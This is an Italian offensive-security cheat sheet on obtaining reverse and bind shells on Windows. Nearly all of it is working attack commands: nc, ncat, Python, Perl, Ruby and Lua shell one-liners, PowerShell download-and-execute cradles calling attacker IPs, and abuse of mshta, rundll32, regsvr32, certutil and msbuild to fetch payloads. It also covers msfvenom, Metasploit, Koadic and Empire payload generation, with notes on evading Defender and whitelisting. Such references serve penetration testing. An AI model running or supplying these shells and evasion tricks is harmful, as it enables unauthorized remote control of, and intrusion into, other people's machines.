# Shells - Windows
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***
## Lolbas
La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\
Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire qualche tipo di azioni inaspettate come **eseguire codice arbitrario.**
## NC
```bash
nc.exe -e cmd.exe
```
## NCAT
vittima
```
ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)"
#Encryption to bypass firewall
ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
```
attaccante
```
ncat -l
#Encryption to bypass firewall
ncat -l --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe della distribuzione Kali Linux può essere utilizzata come un sostituto affidabile di Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444
# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
## Python
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
## Perl
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## Lua
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## OpenSSH
Attaccante (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response
```
Vittima
```bash
#Linux
openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect :
#Windows
openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect :
```
## Powershell
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Processo che esegue la chiamata di rete: **powershell.exe**\
Payload scritto su disco: **NO** (_almeno da nessuna parte che io possa trovare usando procmon !_ )
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Processo che esegue una chiamata di rete: **svchost.exe**\
Payload scritto su disco: **WebDAV client local cache**
**One liner:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
**Ottieni ulteriori informazioni su diversi shell di Powershell alla fine di questo documento**
## Mshta
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
```bash
mshta http://webserver/payload.hta
```
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **Esempio di reverse shell hta-psh (usa hta per scaricare ed eseguire il backdoor PS)**
```xml
```
**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager hta**
#### esempio hta
[**Da qui**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
```xml
```
#### **mshta - sct**
[**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
```
#### **Mshta - Metasploit**
```bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
```
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Rilevato dal difensore**
## **Rundll32**
[**Esempio di dll hello world**](https://github.com/carterjones/hello-world-dll)
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Rilevato da defender**
**Rundll32 - sct**
[**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
```
#### **Rundll32 - Metasploit**
```bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
```
**Rundll32 - Koadic**
```bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
```
## Regsvr32
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Rilevato da defender**
#### Regsvr32 -sct
[**Da qui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```
#### **Regsvr32 - Metasploit**
```bash
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager regsvr**
## Certutil
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
Scarica un B64dll, decodificalo ed eseguilo.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
Scarica un B64exe, decodificalo ed eseguilo.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Rilevato da defender**
## **Cscript/Wscript**
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
```
**Cscript - Metasploit**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**Rilevato dal difensore**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
Processo che esegue la chiamata di rete: **svchost.exe**\
Payload scritto su disco: **WebDAV client local cache**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
```
```bash
\\10.8.0.3\kali\shell.bat
```
**Rilevato dal difensore**
## **MSIExec**
Attaccante
```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Vittima:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**Rilevato**
## **Wmic**
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
Esempio di file xsl [da qui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
```
**Non rilevato**
**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager wmic**
## Msbuild
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Puoi utilizzare questa tecnica per bypassare le restrizioni di Application Whitelisting e Powershell.exe. Sarai presentato con una shell PS.\
Basta scaricare questo ed eseguirlo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**Non rilevato**
## **CSC**
Compila il codice C# nella macchina vittima.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Puoi scaricare una shell inversa C# di base da qui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Non rilevato**
## **Regasm/Regsvc**
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
**Non l'ho provato**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
## Odbcconf
* [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
**Non l'ho provato**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
## Shells di Powershell
### PS-Nishang
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_, fai una copia dello script e aggiungi alla fine del file:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Inizia a servire lo script in un server web ed eseguilo dalla parte della vittima:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender non lo rileva come codice malevolo (ancora, 3/04/2019).
**TODO: Controlla altre shell nishang**
### **PS-Powercat**
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Scarica, avvia un server web, avvia il listener ed eseguilo sul lato della vittima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender non lo rileva come codice malevolo (ancora, 03/04/2019).
**Altre opzioni offerte da powercat:**
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
```
### Empire
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Crea un launcher di powershell, salvalo in un file e scaricalo ed eseguilo.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Rilevato come codice malevolo**
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Crea una versione powershell del backdoor di metasploit utilizzando unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Avvia msfconsole con la risorsa creata:
```
msfconsole -r unicorn.rc
```
Avvia un server web che serve il file _powershell\_attack.txt_ e esegui nella vittima:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Rilevato come codice malevolo**
## Maggiori informazioni
[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS con alcuni moduli PS offensivi pre-caricati (cifrati)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) console PS con alcuni moduli PS offensivi e rilevamento proxy (IEX)
## Riferimenti
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
* [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
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